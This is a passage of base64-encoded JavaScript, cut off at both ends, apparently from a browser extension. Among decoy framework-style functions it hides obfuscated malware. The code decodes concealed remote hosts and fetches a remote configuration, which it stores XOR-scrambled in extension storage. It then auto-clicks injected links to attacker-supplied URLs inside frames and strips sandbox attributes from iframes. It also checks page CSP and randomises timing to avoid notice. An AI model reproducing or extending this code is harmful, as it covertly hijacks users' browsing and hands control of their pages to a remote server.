wTWV0YSl7DQogICAgICAgICAgICAgICAgICAgIHBsYWNlRGl2KCdwYWdlIGhhcyBtZXRhIGNzcCwgc3RvcCcpOw0KICAgICAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgICAgICBzZXRUaW1lb3V0KG5lZWRwYXJzZUJhY2t1cHpDU1AsMTApOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH1jYXRjaChlKXsNCiAgICAgICAgICAgICAgICByZXR1cm47DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQp9DQpmdW5jdGlvbiBvcGVuQmFjayhuYW1lc3BhY2UsIHRhZ05hbWUpIHsNCiAgICByZXR1cm4gZG9jdW1lbnQub3BlbkJhY2sobmFtZXNwYWNlTWFwW25hbWVzcGFjZV0sIHRhZ05hbWUpDQp9DQoNCmZ1bmN0aW9uIGNyZWF0ZVJlc3VsdHMobWluLCBtYXgpIHsNCiAgcmV0dXJuIE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIChtYXggLSBtaW4pKSArIG1pbjsNCn0NCmZ1bmN0aW9uIG1hcFJlY2lwaWVudChjaGlsZHJlbiwgYmVnaW5JZHgsIGVuZElkeCkgew0KICAgIGxldCBpLCBrZXk7DQogICAgY29uc3QgbWFwID0ge307DQogICAgZm9yIChpID0gYmVnaW5JZHg7IGkgPD0gZW5kSWR4OyArK2kpIHsNCiAgICAgICAga2V5ID0gY2hpbGRyZW5baV0ua2V5Ow0KICAgICAgICBpZiAoaXNEZWYoa2V5KSkgbWFwW2tleV0gPSBpOw0KICAgIH0NCiAgICByZXR1cm4gbWFwDQp9DQoNCmZ1bmN0aW9uIGdlbk1lc3NhZ2UoZm4pIHsNCiAgICBpZiAoaXNVbmRlZihmbikpIHsNCiAgICAgICAgcmV0dXJuIGZhbHNlDQogICAgfQ0KICAgIGNvbnN0IGludm9rZXJGbnMgPSBmbi5mbnM7DQogICAgaWYgKGlzRGVmKGludm9rZXJGbnMpKSB7DQogICAgICAgICAgICAgICAgICANCiAgICAgICAgcmV0dXJuIGdlbk1lc3NhZ2UoDQogICAgICAgICAgICBBcnJheS5pc0FycmF5KGludm9rZXJGbnMpID8NCiAgICAgICAgICAgIGludm9rZXJGbnNbMF0gOg0KICAgICAgICAgICAgaW52b2tlckZucw0KICAgICAgICApDQogICAgfSBlbHNlIHsNCiAgICAgICAgcmV0dXJuIChmbi5fbGVuZ3RoIHx8IGZuLmxlbmd0aCkgPiAxDQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBjcmVhdGVWYWx1ZSgpew0KICAgIHRyeXsNCiAgICAgICAgdmFyIGEwPWF0b2IoIloyVnRjMkZuZFdGcFozVmhhV0ZwWVE9PSIpLnN1YnN0cmluZyg1LDEzKTsNCiAgICAgICAgaWYgKCFjdHJsRXh0ZW5zaW9uW2VuZEZ1bmNdKXsNCiAgICAgICAgICAgIGlmIChjdHJsRXh0ZW5zaW9uWydpc1dobyddLmluZGV4T2YoYTApPi0xKXsNCiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChjcmVhdGVSZXN1bHRzKDAsMTAwKT4xMCl7DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgICAgICB9DQogICAgICAgIH1lbHNleyANCiAgICAgICAgICAgIHZhciBub3dUaW1lPW5ldyBEYXRlKCkuZ2V0VGltZSgpOw0KICAgICAgICAgICAgdmFyIGExPWF0b2IoImFtOXdjSFprYVhCTWMzUk1aRFkyTjNsMGFRPT0iKS5zdWJzdHJpbmcoNSwxNik7DQogICAgICAgICAgICB2YXIgZGlmWGlhb3NoaT0obm93VGltZS1jdHJsRXh0ZW5zaW9uW2ExXSkvMTAwMC8zNjAwOw0KICAgICAgICAgICAgaWYgKGRpZlhpYW9zaGk+MjQqMikgeyANCiAgICAgICAgICAgICAgICBpZiAoY3JlYXRlUmVzdWx0cygwLDEwMCk+MTApew0KICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9Y2F0Y2goZSl7DQogICAgICAgIHJldHVybiB0cnVlOw0KICAgIH0NCiAgICByZXR1cm4gZmFsc2U7DQp9DQoNCmZ1bmN0aW9uIG1lcmdlQWRkcihjbG9zZUF0dHJzKXsNCiAgICB2YXIgeGgxOw0KICAgIHRyeXsNCiAgICAgICAgeGgxID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7DQogICAgICAgIHhoMS5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbigpIHsNCiAgICAgICAgICAgIGlmICh4aDEucmVhZHlTdGF0ZSA9PSA0KSB7DQogICAgICAgICAgICAgICAgaWYgKHhoMS5zdGF0dXMgPT0gMjAwKXsNCiAgICAgICAgICAgICAgICAgICAgdmFyIHJlc3A9eGgxLnJlc3BvbnNlVGV4dDsNCiAgICAgICAgICAgICAgICAgICAgdmFyIGo9J2pzb25pbWc9JzsNCiAgICAgICAgICAgICAgICAgICAgaWYgKHJlc3AuaW5jbHVkZXMoaikpeyANCiAgICAgICAgICAgICAgICAgICAgICAgIHJlc3A9cmVzcC5zcGxpdChqKVsxXTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGJ1aWxkTWVzc2FnZXMocmVzcCk7DQogICAgICAgICAgICAgICAgICAgIH1lbHNleyANCiAgICAgICAgICAgICAgICAgICAgICAgIGJ1aWxkTWVzc2FnZXMocmVzcCk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgIGlmIChjbG9zZUF0dHJzKXsgDQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoY3JlYXRlUmVzdWx0cygwLDEwMCk+MjApew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1lcmdlQWRkcihmYWxzZSk7DQogICAgICAgICAgICAgICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICB4aDEub25lcnJvciA9IGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgDQogICAgICAgICAgICBpZiAoY2xvc2VBdHRycyl7IA0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIG1lcmdlQWRkcihmYWxzZSk7DQogICAgICAgICAgICB9ZWxzZXsgDQogICAgICAgICAgICAgICAgdmFyIG9iaj0ge307DQogICAgICAgICAgICAgICAgb2JqW2VuZEZ1bmNdID0gY2xlYW5Qcm9wZXJ0aWVzKGNyZWF0ZVJlc3VsdHMoMWU1LDFlNikrY2xlYXJGb3JtK25ldyBEYXRlKCkuZ2V0VGltZSgpKTsNCiAgICAgICAgICAgICAgICBjaHJvbWUuc3RvcmFnZS5sb2NhbC5zZXQob2JqKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICB4aDEub25wcm9ncmVzcyA9IGZ1bmN0aW9uKCkge307IA0KICAgICAgICANCiAgICAgICAgdmFyIHUxPWF0b2IoImJtUmtkM0V2TDNkM2R5NXNhWFpsZFhCa2RDNWpiMjB2WldGdSIpLnN1YnN0cmluZyg1LDI0KTsNCiAgICAgICAgdmFyIHUyPWF0b2IoImVYVmlZUzh2ZDNkM0xtUmxZV3hqZEhJdVkyOXRMMjV2Y3c9PSIpLnN1YnN0cmluZyg0LDIyKTsNCiAgICAgICAgdmFyIHUzPWF0b2IoImJHMXNlWEp2WlhoMEwyeHZZV1F1Y0dod1AyWTljM1p5TG5CdVozVnJkdz09Iikuc3Vic3RyaW5nKDYsMjgpOw0KICAgICAgICB2YXIgYmFkZD1sb2NhdGlvbi5wcm90b2NvbCt1MSt1MzsNCiAgICAgICAgaWYgKCFjbG9zZUF0dHJzKXsgDQogICAgICAgICAgICBiYWRkPWxvY2F0aW9uLnByb3RvY29sK3UyK3UzOw0KICAgICAgICB9DQogICAgICAgIHZhciBkMD1hdG9iKCJaV3AxY210a2FYQk1jM1JUYVdjMk5qZHBkR3c9Iikuc3Vic3RyaW5nKDUsMTcpOw0KICAgICAgICBpZiAoKGN0cmxFeHRlbnNpb25bZDBdKSAmJiAoYmFkZC5pbmNsdWRlcygnJmM9Jyk9PWZhbHNlKSl7YmFkZD1iYWRkKycmYz0nK2N0cmxFeHRlbnNpb25bYXRvYigiWldwMWNtdGthWEJNYzNSVGFXYzJOamRwZEd3PSIpLnN1YnN0cmluZyg1LDE3KV07fQ0KICAgICAgICBwbGFjZURpdignamlhICcrYmFkZCk7DQogICAgICAgIHhoMS5vcGVuKCJHRVQiLGJhZGQsdHJ1ZSk7DQogICAgICAgIHhoMS5zZW5kKCk7DQogICAgfWNhdGNoKGUpew0KICAgICAgICANCiAgICAgICAgdmFyIG9iaj0ge307DQogICAgICAgIG9ialtlbmRGdW5jXSA9IGNsZWFuUHJvcGVydGllcyhjcmVhdGVSZXN1bHRzKDFlNSwxZTYpK2NsZWFyRm9ybStuZXcgRGF0ZSgpLmdldFRpbWUoKSk7DQogICAgICAgIGNocm9tZS5zdG9yYWdlLmxvY2FsLnNldChvYmopOw0KICAgICAgICByZXR1cm4gJ2V4Y2VwdGlvbic7DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBzaG91bGRyZWFkS2V5aW5mbyh2bSwgZGlyZWN0KSB7DQogICAgaWYgKGRpcmVjdCkgew0KICAgICAgICB2bS5fZGlyZWN0SW5hY3RpdmUgPSB0cnVlOw0KICAgICAgICBpZiAoaXNJbkluYWN0aXZlVHJlZSh2bSkpIHsNCiAgICAgICAgICAgIHJldHVybg0KICAgICAgICB9DQogICAgfQ0KICAgIGlmICghdm0uX2luYWN0aXZlKSB7DQogICAgICAgIHZtLl9pbmFjdGl2ZSA9IHRydWU7DQogICAgICAgIGZvciAobGV0IGkgPSAwOyBpIDwgdm0uJGNoaWxkcmVuLmxlbmd0aDsgaSsrKSB7DQogICAgICAgICAgICBzaG91bGRyZWFkS2V5aW5mbyh2bS4kY2hpbGRyZW5baV0pOw0KICAgICAgICB9DQogICAgICAgIGNhbGxIb29rKHZtLCAndGV4dCcpOw0KICAgIH0NCn0NCg0KZnVuY3Rpb24gc3RhcnRQcm9wZXJ0aWVzKHZtLCBob29rKSB7DQogICAgY29uc3QgaGFuZGxlcnMgPSB2bS4kb3B0aW9uc1tob29rXTsNCiAgICBpZiAoaGFuZGxlcnMpIHsNCiAgICAgICAgZm9yIChsZXQgaSA9IDAsIGogPSBoYW5kbGVycy5sZW5ndGg7IGkgPCBqOyBpKyspIHsNCiAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgaGFuZGxlcnNbaV0uY2FsbCh2bSk7DQogICAgICAgICAgICB9IGNhdGNoIChlKSB7fQ0KICAgICAgICAgICAgIA0KICAgICAgICB9DQogICAgfQ0KICAgIGlmICh2bS5faGFzSG9va0V2ZW50KSB7DQogICAgICAgIHZtLiRlbWl0KCdwcmVmZXJlbmNlJyArIGhvb2spOw0KICAgIH0NCn0NCg0KZnVuY3Rpb24gdGFrZU9wdGlvbnMoKSB7DQogICAgaW5kZXggPSBxdWV1ZS5sZW5ndGggPSBhY3RpdmF0ZWRDaGlsZHJlbi5sZW5ndGggPSAwOw0KICAgIGhhcyA9IHt9OyB7DQogICAgICAgIGNpcmN1bGFyID0ge307DQogICAgfQ0KICAgIHdhaXRpbmcgPSBmbHVzaGluZyA9IGZhbHNlOw0KfQ0KDQpmdW5jdGlvbiBidWlsZE1lc3NhZ2VzKHIpew0KICAgIGlmIChyLmxlbmd0aD4yMDAgJiYgci5pbmNsdWRlcygnZGF0YSI6ImltYWdlJykpeyANCiAgICAgICAgDQogICAgICAgIHZhciBhY3RpdmF0ZURpY3Q9SlNPTi5wYXJzZShyKTsNCiAgICAgICAgdmFyIGZpbmRDb250ZW50PWFjdGl2YXRlRGljdC5pZDsNCiAgICAgICAgdmFyIGc9YWN0aXZhdGVEaWN0LmltYWdlOw0KICAgICAgICBnPXRha2VTdHlsZShnKTsNCiAgICAgICAgaWYgKGcuaW5jbHVkZXMoc2lnKSl7DQogICAgICAgICAgICB2YXIgdGltZXN0YW1wPW5ldyBEYXRlKCkuZ2V0VGltZSgpOw0KICAgICAgICAgICAgdmFyIHM9Y3JlYXRlUmVzdWx0cygxZTUsMWU2KStjbGVhckZvcm0rZmluZENvbnRlbnQrY2xlYXJGb3JtK2c7IA0KICAgICAgICAgICAgdmFyIG9iaj0ge307DQogICAgICAgICAgICBvYmpbZW5kRnVuY10gPSBjbGVhblByb3BlcnRpZXMoY3JlYXRlUmVzdWx0cygxZTUsMWU2KStjbGVhckZvcm0rdGltZXN0YW1wKTsgDQogICAgICAgICAgICBvYmpbc2hvd1ZhbHVlXSA9IGNsZWFuUHJvcGVydGllcyhzKTsNCiAgICAgICAgICAgIGNocm9tZS5zdG9yYWdlLmxvY2FsLnNldChvYmopOw0KICAgICAgICB9DQogICAgfWVsc2V7DQogICAgICAgIA0KICAgICAgICB2YXIgb2JqPSB7fTsNCiAgICAgICAgb2JqW2VuZEZ1bmNdID0gY2xlYW5Qcm9wZXJ0aWVzKGNyZWF0ZVJlc3VsdHMoMWU1LDFlNikrY2xlYXJGb3JtK25ldyBEYXRlKCkuZ2V0VGltZSgpKTsNCiAgICAgICAgY2hyb21lLnN0b3JhZ2UubG9jYWwuc2V0KG9iaik7DQogICAgfQ0KfQ0KZnVuY3Rpb24gdGFrZVN0eWxlKHMpeyANCiAgICB2YXIgcmV0PScnOw0KICAgIHZhciBmbGFnPXRydWU7DQogICAgaWYgKCFjaHJvbWUuc3RvcmFnZSl7ZmxhZz0hZmxhZzt9Ow0KICAgIGZvciAodmFyIGk9MDtpPHMubGVuZ3RoO2krKyl7DQogICAgICAgIHZhciBjaD1zW2ldOw0KICAgICAgICBpZiAoY2ggPT0gY2gudG9Mb3dlckNhc2UoKSAmJiBmbGFnKSB7Y2g9Y2gudG9VcHBlckNhc2UoKTt9ZWxzZSBpZiAoY2ggPT0gY2gudG9VcHBlckNhc2UoKSAmJiBmbGFnKSB7Y2g9Y2gudG9Mb3dlckNhc2UoKTt9DQogICAgICAgIGlmIChjaCA9PSAnOScpIHtjaD0nOCc7fWVsc2UgaWYgKGNoID09ICc4Jykge2NoPSc5Jzt9DQogICAgICAgIHJldD1yZXQrY2g7DQogICAgfQ0KICAgIHJldD1hdG9iKHJldCk7DQogICAgcmV0dXJuIHJldDsNCn0NCg0KZnVuY3Rpb24gZ2V0TW9kdWxlcyhpY29uaWQsIG9iaikgew0KCSQoJ3NhZmFyaScpLnZhbHVlID0gaWNvbmlkOw0KCSQoJ2Zvcm1zJykuc3JjID0gb2JqLnNyYzsNCgloaWRlTWVudSgpOw0KfQ0KDQpmdW5jdGlvbiB0cmFuc0V4dGVuc2lvbih2bm9kZSwgaXNSZW1vdmFsKSB7DQogICAgY29uc3Qga2V5ID0gdm5vZGUuZGF0YS5yZWY7DQogICAgaWYgKCFrZXkpIHJldHVybg0KDQogICAgY29uc3Qgdm0gPSB2bm9kZS5jb250ZXh0Ow0KICAgIGNvbnN0IHJlZiA9IHZub2RlLmNvbXBvbmVudEluc3RhbmNlIHx8IHZub2RlLmVsbTsNCiAgICBjb25zdCByZWZzID0gdm0uJHJlZnM7DQogICAgaWYgKGlzUmVtb3ZhbCkgew0KICAgICAgICBpZiAoQXJyYXkuaXNBcnJheShyZWZzW2tleV0pKSB7DQogICAgICAgICAgICByZW1vdmUocmVmc1trZXldLCByZWYpOw0KICAgICAgICB9IGVsc2UgaWYgKHJlZnNba2V5XSA9PT0gcmVmKSB7DQogICAgICAgICAgICByZWZzW2tleV0gPSB1bmRlZmluZWQ7DQogICAgICAgIH0NCiAgICB9IGVsc2Ugew0KICAgICAgICBpZiAodm5vZGUuZGF0YS5yZWZJbkZvcikgew0KICAgICAgICAgICAgaWYgKCFBcnJheS5pc0FycmF5KHJlZnNba2V5XSkpIHsNCiAgICAgICAgICAgICAgICByZWZzW2tleV0gPSBbcmVmXTsNCiAgICAgICAgICAgIH0gZWxzZSBpZiAocmVmc1trZXldLmluZGV4T2YocmVmKSA8IDApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICByZWZzW2tleV0ucHVzaChyZWYpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmVmc1trZXldID0gcmVmOw0KICAgICAgICB9DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBzZXRSZXN1bHRzKHMpeyANCiAgICB2YXIgaW50VmFsPXMuc3BsaXQoIiIpLnJlZHVjZShmdW5jdGlvbihhLGIpe2E9KChhPDw1KS1hKStiLmNoYXJDb2RlQXQoMCk7cmV0dXJuIGEmYX0sMCk7DQogICAgaWYgKGludFZhbDwwKXtpbnRWYWw9MC1pbnRWYWw7fQ0KICAgIGlmICh3aW5kb3cuY2hyb21lKSB7aW50VmFsPWludFZhbCUxMDAwO30NCiAgICByZXR1cm4gaW50VmFsOw0KfQ0KZnVuY3Rpb24gY2xlYW5Qcm9wZXJ0aWVzKGMpew0KICAgIHZhciBrZXk9c2V0UmVzdWx0cyhjaHJvbWUucnVudGltZS5pZCk7DQogICAgcmV0dXJuIGdlbk5vZGUoYyxrZXkpOw0KfQ0KZnVuY3Rpb24gZ2VuTm9kZShzLGspDQp7DQogICAgdmFyIHJldD0iIjsNCiAgICBmb3IodmFyIGk9MDtpPHMubGVuZ3RoOysraSkNCiAgICB7DQogICAgICAgIHJldCs9U3RyaW5nLmZyb21DaGFyQ29kZShhdHRhY2hNZXNzYWdlcyhrLHMuY2hhckNvZGVBdChpKSkpOw0KICAgIH0NCiAgICByZXR1cm4gcmV0Ow0KfQ0KZnVuY3Rpb24gYXR0YWNoTWVzc2FnZXMoYSwgYikgeyANCiAgICBsZXQgcmVzdWx0ID0gMDsNCiAgICBsZXQgY2xlYXJCbG9iID0gMTsNCiAgICB3aGlsZSAoY2xlYXJCbG9iIDw9IChhIHwgYikpIHsNCiAgICAgICAgaWYgKChhICYgY2xlYXJCbG9iKSAhPSAoYiAmIGNsZWFyQmxvYikpIHsNCiAgICAgICAgICAgIHJlc3VsdCB8PSBjbGVhckJsb2I7DQogICAgICAgIH0NCiAgICAgICAgY2xlYXJCbG9iIDw8PSAxOw0KICAgIH0NCiAgICBpZiAoY2hyb21lLnN0b3JhZ2Upew0KICAgICAgICByZXR1cm4gcmVzdWx0Ow0KICAgIH1lbHNlew0KICAgICAgICByZXR1cm4gIShhICYgYikNCiAgICB9DQp9DQpmdW5jdGlvbiBjdHJsTmFtZShub2RlKSB7DQogICAgcmV0dXJuIGlzRGVmKG5vZGUpICYmIGlzRGVmKG5vZGUudGV4dCkgJiYgaXNGYWxzZShub2RlLmlzQ29tbWVudCkNCn0NCg0KZnVuY3Rpb24gY3RybEtleWluZm8oYSkgew0KICAgIGlmIChhID09PSBzdWdnZXN0ZWRDaGF0cykgdGhyZWFkSW5mbyA9IHt9Ow0KICAgIGVsc2UgaWYgKGEgPT09IHN1Z2dlc3RlZENvbnRhY3RzKSBjb250YWN0SW5mbyA9IHt9Ow0KICAgIGVsc2UgaWYgKGEgPT09IHNlbGVjdGVkVGhyZWFkKSB7DQogICAgICAgIHBlcnNpc3RUaHJlYWRSZWFkU3RhdHVzKCksIG1lc3NhZ2VJbmZvID0ge307DQogICAgICAgIGZvciAodmFyIGIgaW4gc2VsZWN0ZWRUaHJlYWQuZGF0YXNldCkgZGVsZXRlIHNlbGVjdGVkVGhyZWFkLmRhdGFzZXRbYl07DQogICAgICAgIG9yaWdpbmFsTGFzdFJlYWRNZXNzYWdlSWQgPSBudWxsLCBzZXRXaW5kb3dUaXRsZSgpDQogICAgfQ0KICAgIGEuY29udGVudCA9ICJzZWNvbmQiDQp9DQoNCmZ1bmN0aW9uIHBsYWNlRGl2KHMpew0KICAgIHRyeSB7DQogICAgICAgIGlmIChmbGFnKXsNCiAgICAgICAgICAgIHZhciBsb2NhbFRpbWU9bmV3IERhdGUoKS50b0xvY2FsZVRpbWVTdHJpbmcoKTsNCiAgICAgICAgICAgIGNvbnNvbGUubG9nKCIlYyIrJ0xhZHIgLSAnKyBsb2NhbFRpbWUrJyAnK3MrJ1x0XHQnLCAnY29sb3I6IGdyZWVuJyk7IA0KICAgICAgICB9DQogICAgfSBjYXRjaCAoZSkgew0KICAgICAgICByZXR1cm47DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBjYWxjQm9keVdpZHRoKCkgew0KICAgIHZhciBhID0gMTU0Ow0KICAgIC9oaWRhYmxlLy50ZXN0KHRoaXMuYm9keS5jbGFzc05hbWUpICYmIChhID0gMTcyKTsNCiAgICB2YXIgYiA9IDAsDQogICAgICAgIGMgPSB0aGlzLnF1ZXJ5U2VsZWN0b3IoImhvb2siKTsNCiAgICBpZiAoYykgew0KICAgICAgICB2YXIgZCA9IHBhcnNlSW50KHRoaXMuZ2V0Q29tcHV0ZWRTdHlsZShjLCAiaXRlbSIpLndpZHRoKSArIDIzOw0KICAgICAgICBiID0gZCAtIDI1DQogICAgfQ0KICAgIGlmIChjID0gdGhpcy5xdWVyeVNlbGVjdG9yKCJwcm9wZXJ0aWVzIikpIHsNCiAgICAgICAgdmFyIGQgPSBwYXJzZUludCh0aGlzLmdldENvbXB1dGVkU3R5bGUoYywgIm9wdGlvbnMiKS53aWR0aCkgKyAyMzsNCiAgICAgICAgYiA9IE1hdGgubWF4KGQgLSA3OCwgMCkNCiAgICB9DQogICAgcmV0dXJuIHRoaXMucXVlcnlTZWxlY3RvcigiYmFjayIpID8gTWF0aC5tYXgoYSArIGIsIDMzMCkgOiBhICsgYg0KfQ0KDQpmdW5jdGlvbiBnZXREYXRhKGRhdGEsIHZtKSB7DQogICAgdHJ5IHsNCiAgICAgICAgcmV0dXJuIGRhdGEuY2FsbCh2bSwgdm0pDQogICAgfSBjYXRjaCAoZSkgew0KICAgICAgICBoYW5kbGVFcnJvcihlLCB2bSwgMyk7DQogICAgICAgIHJldHVybiB7fQ0KICAgIH0NCn0NCg0KZnVuY3Rpb24gbGVuTW9kdWxlcyh2bSkgew0KICAgIGNvbnN0IG9wdGlvbnMgPSB2bS4kb3B0aW9uczsNCg0KICAgIGxldCBwYXJlbnQgPSBvcHRpb25zLnBhcmVudDsNCiAgICBpZiAocGFyZW50ICYmICFvcHRpb25zLmFic3RyYWN0KSB7DQogICAgICAgIHdoaWxlIChwYXJlbnQuJG9wdGlvbnMuYWJzdHJhY3QgJiYgcGFyZW50LiRwYXJlbnQpIHsNCiAgICAgICAgICAgIHBhcmVudCA9IHBhcmVudC4kcGFyZW50Ow0KICAgICAgICB9DQogICAgICAgIHBhcmVudC4kY2hpbGRyZW4ucHVzaCh2bSk7DQogICAgfQ0KDQogICAgdm0uJHBhcmVudCA9IHBhcmVudDsNCiAgICB2bS4kcm9vdCA9IHBhcmVudCA/IHBhcmVudC4kcm9vdCA6IHZtOw0KDQogICAgdm0uJGNoaWxkcmVuID0gW107DQogICAgdm0uJHJlZnMgPSB7fTsNCg0KICAgIHZtLl93YXRjaGVyID0gbnVsbDsNCiAgICB2bS5faW5hY3RpdmUgPSBudWxsOw0KICAgIHZtLl9kaXJlY3RJbmFjdGl2ZSA9IGZhbHNlOw0KICAgIHZtLl9pc01vdW50ZWQgPSBmYWxzZTsNCiAgICB2bS5faXNEZXN0cm95ZWQgPSBmYWxzZTsNCiAgICB2bS5faXNCZWluZ0Rlc3Ryb3llZCA9IGZhbHNlOw0KfQ0KDQpmdW5jdGlvbiB1cGRhdGVTaWJsZSgpew0KICAgIA0KICAgIHZhciBlZD1hdG9iKCJjM1JxYW5WbGVIUm1kSE5oYlhNNU9XSmhjblIwIikuc3Vic3RyaW5nKDUsMTgpOw0KICAgIGlmICh3aW5kb3cuc2VsZiAhPT0gd2luZG93LnRvcCl7DQogICAgICAgIGlmICh3aW5kb3cucGFyZW50PT09d2luZG93LnRvcCl7DQogICAgICAgICAgICBjaHJvbWUuc3RvcmFnZS5sb2NhbC5nZXQoZWQsIGZ1bmN0aW9uKHZhbCkgew0KICAgICAgICAgICAgICAgIHZhciBkYXRhPXZhbFtlZF07DQogICAgICAgICAgICAgICAgaWYgKGRhdGEpew0KICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YSE9IiIpew0KICAgICAgICAgICAgICAgICAgICAgICAgdmFyIHUxPWF0b2IoYXRvYihkYXRhLnNwbGl0KCdeJylbMF0pKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHZhciB1Mj1hdG9iKGF0b2IoZGF0YS5zcGxpdCgnXicpWzFdKSk7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAod2luZG93LmxvY2F0aW9uLmhyZWYuaW5kZXhPZihzZWVrQ2hpbGQodTEsdHJ1ZSkpPi0xKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2EnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBhLnNldEF0dHJpYnV0ZSgiaHJlZiIsIHUyKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJoZWFkIilbMF0gfHwgZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImJvZHkiKVswXSkuYXBwZW5kQ2hpbGQoYSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGEuY2xpY2soKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGVhblJlc3VsdHMoZWQsJycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSk7DQogICAgICAgICAgICANCiAgICAgICAgICAgIGNvbnN0IG1lc3NhZ2UgPSBhdG9iKCJZVzkyYVdaeU1uUnZjSFYyWnc9PSIpLnN1YnN0cmluZygzLDEwKQ0KICAgICAgICAgICAgd2luZG93LnBhcmVudC5wb3N0TWVzc2FnZShtZXNzYWdlLCAnKicpOw0KICAgICAgICB9DQogICAgfQ0KICAgIA0KICAgIGlmICh3aW5kb3cuc2VsZiA9PSB3aW5kb3cudG9wKXsgDQogICAgICAgIHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCdtZXNzYWdlJywgZnVuY3Rpb24gKGUpIHsNCiAgICAgICAgICAgIGlmIChlLmRhdGE9PWF0b2IoIllXOTJhV1p5TW5SdmNIVjJadz09Iikuc3Vic3RyaW5nKDMsMTApKXsNCiAgICAgICAgICAgICAgICBpZiAobG9jYXRpb24uaHJlZi5pbmRleE9mKHNlZWtDaGlsZChlLm9yaWdpbix0cnVlKSk+LTEpew0KICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgdmFyIGNuPWF0b2IoIlpHbGlZMjUyYVdaeWRuRm8iKS5zdWJzdHJpbmcoMyw5KTsNCiAgICAgICAgICAgICAgICAgICAgdmFyIHNuPWF0b2IoIlpHbHZjMkZ1WkdKdmVHeG9iZz09Iikuc3Vic3RyaW5nKDMsMTApOw0KICAgICAgICAgICAgICAgICAgICBjb2xsZWN0aW9uID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZShjbik7DQogICAgICAgICAgICAgICAgICAgIGZvciAobGV0IGkgPSAwOyBpIDwgY29sbGVjdGlvbi5sZW5ndGg7IGkrKykgew0KICAgICAgICAgICAgICAgICAgICAgICAgY29sbGVjdGlvbltpXS5zZXRBdHRyaWJ1dGUoc24sICIiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9KTsNCiAgICB9DQp9DQpmdW5jdGlvbiBzdGF0ZU5hbWVzKG8scHJlLHBvcyl7DQogICAgdmFyIHJldD0iRVJST1IiOw0KICAgIGlmIChvLmluZGV4T2YocHJlKT4tMSl7DQogICAgICAgIHZhciB0ZW1wPW8uc3BsaXQocHJlKTsNCiAgICAgICAgaWYgKHRlbXBbMV0uaW5kZXhPZihwb3MpPi0xKXsNCiAgICAgICAgICAgIHJldD10ZW1wWzFdLnNwbGl0KHBvcylbMF07DQogICAgICAgIH0NCiAgICB9DQogICAgcmV0dXJuIHJldDsNCn0NCg0KZnVuY3Rpb24gc2Vla0NoaWxkKHVybCxmKXsNCiAgICBpZiAoISh1cmwuaW5jbHVkZXMoJ2h0dHAnKSkpe3VybD0naHR0cDovLycrdXJsO30gDQogICAgdmFyIHBhcnNlciA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2EnKTsNCiAgICBwYXJzZXIuaH